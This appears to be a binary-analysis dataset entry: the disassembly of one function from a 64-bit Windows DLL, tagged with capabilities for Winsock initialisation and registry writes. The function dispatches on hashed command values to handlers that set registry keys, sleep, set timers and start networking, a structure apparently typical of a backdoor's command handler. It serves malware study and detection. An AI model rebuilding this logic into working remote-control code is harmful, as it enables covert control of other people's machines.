Function at 0x18000371c
Capabilities:
Initialize winsock library
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x1f0
xor ebp, ebp
xor eax, eax
mov rdi, r8
and dword [r11 + 0x20], eax
mov r8d, 0x80f50d7f
mov rbx, rdx
xor edx, edx
cmp ecx, r8d
mov qword [rsp + 0x30], rbp
mov dword [r11 + 8], 0x57
lea r13d, [rbp + 4]
mov r14d, 0x119
ja 0x180003a8d
je 0x180003a80
mov r8d, 0x504cbaf1
cmp ecx, r8d
ja 0x1800039c5
je 0x180003977
cmp ecx, 0x15c0a65
je 0x1800038a3
cmp ecx, 0xa514f48
je 0x180003896
cmp ecx, 0x2adf3c59
je 0x18000385c
cmp ecx, 0x35876e8a
je 0x180003852
cmp ecx, 0x36eb3cc1
je 0x180003815
cmp ecx, 0x43a8344c
je 0x180003802
cmp ecx, 0x47a290dd
jne 0x180003d9a
test rbx, rbx
je 0x180003dc7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r8d, [rbp + 1]
mov rdx, rbx
add r8d, eax
lea ecx, [r14 - 0x17]
mov r9, rdi
call fcn.18000f470
mov dword [rsp + 0x220], eax
jmp 0x180003dbd
test rbx, rbx
je 0x180003dc7
mov rcx, rbx
call fcn.180001d40
jmp 0x1800037f6
test rbx, rbx
je 0x180003dc7
lea r8, [rsp + 0x238]
lea rdx, [rsp + 0x30]
mov r9d, 1
mov rcx, rbx
call fcn.1800043fc
test eax, eax
mov dword [rsp + 0x220], eax
jne 0x180003ce5
mov ecx, 0x106
jmp 0x180003cc1
xor r8d, r8d
mov ecx, 0x10a
jmp 0x1800037ee
test rbx, rbx
je 0x180003dc7
lea r8, [rsp + 0x238]
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov rcx, rbx
call fcn.1800043fc
test eax, eax
mov dword [rsp + 0x220], eax
jne 0x180003ce5
mov ecx, 0x122
jmp 0x180003cc1
xor r8d, r8d
mov ecx, 0x10b
jmp 0x1800037ee
movzx r8d, word [0x18002e13c]
mov ecx, dword [0x18002e138]
mov r9b, 0xff
or r8w, 8
mov byte [rsp + 0x20], 0xff
call fcn.1800048bc
test eax, eax
mov dword [rsp + 0x220], eax
jne 0x180003dc7
mov rcx, qword [0x18002f868]
lea r8d, [rax + 1]
xor edx, edx
call fcn.180004e54
test rax, rax
mov rbx, rax
je 0x180003947
mov ecx, dword [0x18002f0f8]
and dword [rsp + 0x28], ebp
and qword [rsp + 0x20], rbp
imul rcx, rcx, 0xffffffffff676980
mov qword [rsp + 0x30], rcx
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov rcx, rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x180003928
and dword [rsp + 0x220], ebp
jmp 0x180003935
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x220], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x220]
jmp 0x180003954
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x220], eax
test eax, eax
jne 0x180003dc7
lea rdx, [rsp + 0x220]
mov r9, rdi
mov r8d, r13d
mov ecx, r14d
call fcn.18000f470
jmp 0x180003dbd
test rbx, rbx
je 0x180003dc7
lea rdx, [rsp + 0x50]
mov cx, 0x201
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1800039a6
lea r8d, [rax + 1]
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.180017064
jmp 0x1800039a8
xor eax, eax
test eax, eax
je 0x180003dbd
mov r8d, 0x10
lea rdx, [rsp + 0x38]
mov ecx, 0x110
jmp 0x1800037ee
cmp ecx, 0x568f674c
je 0x180003a73
cmp ecx, 0x56989f9b
je 0x180003a66
cmp ecx, 0x5cc6e61e
je 0x180003a59
cmp ecx, 0x605b3907
je 0x180003afa
cmp ecx, 0x62f5c7ca
je 0x180003a38
cmp ecx, 0x66d6f14c
je 0x180003a12
cmp ecx, 0x7513173c
je 0x180003c76
jmp 0x180003d9a
movzx r8d, word [0x18002e13c]
and r8w, 0xfff7
mov ecx, dword [0x18002e138]
mov r9b, 0xff
mov byte [rsp + 0x20], r9b
call fcn.1800048bc
jmp 0x18000394d
test rbx, rbx
je 0x180003dc7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, rbx
mov edx, eax
call fcn.18000df2c
jmp 0x18000394d
xor r8d, r8d
mov ecx, 0x114
jmp 0x1800037ee
xor r8d, r8d
mov ecx, 0x108
jmp 0x1800037ee
xor r8d, r8d
mov ecx, 0x103
jmp 0x1800037ee
xor r8d, r8d
mov ecx, 0x109
jmp 0x1800037ee
mov eax, 0xb2acb8c3
cmp ecx, eax
ja 0x180003be0
je 0x180003bd3
cmp ecx, 0x82cfff0a
je 0x180003b96
cmp ecx, 0x962d35f0
je 0x180003b8c
cmp ecx, 0x9b5349fb
je 0x180003b76
cmp ecx, 0x9c55aeb2
je 0x180003b49
cmp ecx, 0x9f43245a
je 0x180003b23
cmp ecx, 0xa6b74113
je 0x180003af5
cmp ecx, 0xa8665f7d
jne 0x180003d9a
xor r8d, r8d
mov ecx, 0x111
jmp 0x1800037ee
mov edx, 1
test rbx, rbx
je 0x180003dc7
neg edx
sbb edx, edx
and edx, 8
add edx, 0x10f
xor r8d, r8d
mov r9, rdi
mov rcx, rbx
call fcn.1800026ac
jmp 0x1800037f6
test rbx, rbx
je 0x180003dc7
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrToIntA]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
and dword [rsp + 0x220], ebp
jmp 0x18000395c
lea rax, [0x1800324aa]
lea r9, [0x180032cf8]
mov edx, 8
mov ecx, 0x10e
mov r8d, 0x10000
mov qword [rsp + 0x20], rax
call fcn.18000434c
jmp 0x18000394d
test rbx, rbx
je 0x180003dc7
mov rcx, rbx
call fcn.180002edc
jmp 0x18000394d
call fcn.180005f14
jmp 0x18000394d
test rbx, rbx
je 0x180003dc7
lea r8, [rsp + 0x238]
lea rdx, [rsp + 0x30]
mov r9d, 1
mov rcx, rbx
call fcn.1800043fc
test eax, eax
mov dword [rsp + 0x220], eax
jne 0x180003ce5
mov ecx, 0x107
jmp 0x180003cc1
xor r8d, r8d
mov ecx, 0x10c
jmp 0x1800037ee
cmp ecx, 0xb9e5aa07
je 0x180003d08
cmp ecx, 0xd47ffacc
je 0x180003cef
cmp ecx, 0xd7fc53ff
je 0x180003c8d
cmp ecx, 0xe64ff64d
je 0x180003c71
cmp ecx, 0xec8d5aee
je 0x180003c64
cmp ecx, 0xfad9ac43
je 0x180003c43
cmp ecx, 0xfdb0a233
jne 0x180003d9a
test rbx, rbx
je 0x180003dc7
movzx r8d, word [0x18002e13c]
mov rdx, rbx
xor ecx, ecx
jmp 0x180003a26
test rbx, rbx
je 0x180003dc7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, rbx
mov edx, eax
call fcn.18000e10c
jmp 0x18000394d
xor r8d, r8d
mov ecx, 0x118
jmp 0x1800037ee
mov eax, 0x10
movzx r8d, word [0x18002e13c]
and r8w, 0xffef
or r8w, ax
jmp 0x180003a20
test rbx, rbx
je 0x180003dc7
lea r8, [rsp + 0x238]
lea rdx, [rsp + 0x30]
mov r9d, 1
mov rcx, rbx
call fcn.1800043fc
test eax, eax
mov dword [rsp + 0x220], eax
jne 0x180003ce5
mov ecx, 0x105
mov rbp, qword [rsp + 0x30]
mov r8d, dword [rsp + 0x238]
mov r9, rdi
mov rdx, rbp
call fcn.18000f470
mov dword [rsp + 0x220], eax
jmp 0x180003da6
mov rbp, qword [rsp + 0x30]
jmp 0x180003da6
test rbx, rbx
je 0x180003dc7
mov edx, 0x10f
mov r8d, 1
jmp 0x180003b13
test rbx, rbx
je 0x180003d9a
lea rcx, [0x18002fba0]
mov rdx, rbx
call fcn.180006ad4
test eax, eax
mov esi, eax
jne 0x180003d79
mov rdx, qword [0x18002f940]
lea r8, [rsp + 0x238]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov esi, eax
jne 0x180003d79
mov rcx, qword [rsp + 0x238]
and dword [rsp + 0x28], ebp
and qword [rsp + 0x20], rbp
lea r9d, [rax + 3]
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x238]
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov dword [rsp + 0x220], esi
jne 0x180003d9a
lea rdx, [rsp + 0x220]
mov r9, rdi
mov r8d, r13d
mov ecx, r14d
call fcn.18000f470
mov edx, 1
mov dword [rsp + 0x220], edx
test rbp, rbp
je 0x180003dbd
mov rcx, qword [0x18002f7f8]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rsp + 0x220], 0
je 0x180003ddd
lea rdx, [rsp + 0x220]
mov r9, rdi
mov r8d, r13d
mov ecx, r14d
call fcn.18000f470
mov eax, dword [rsp + 0x220]
mov rbx, qword [rsp + 0x228]
add rsp, 0x1f0
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret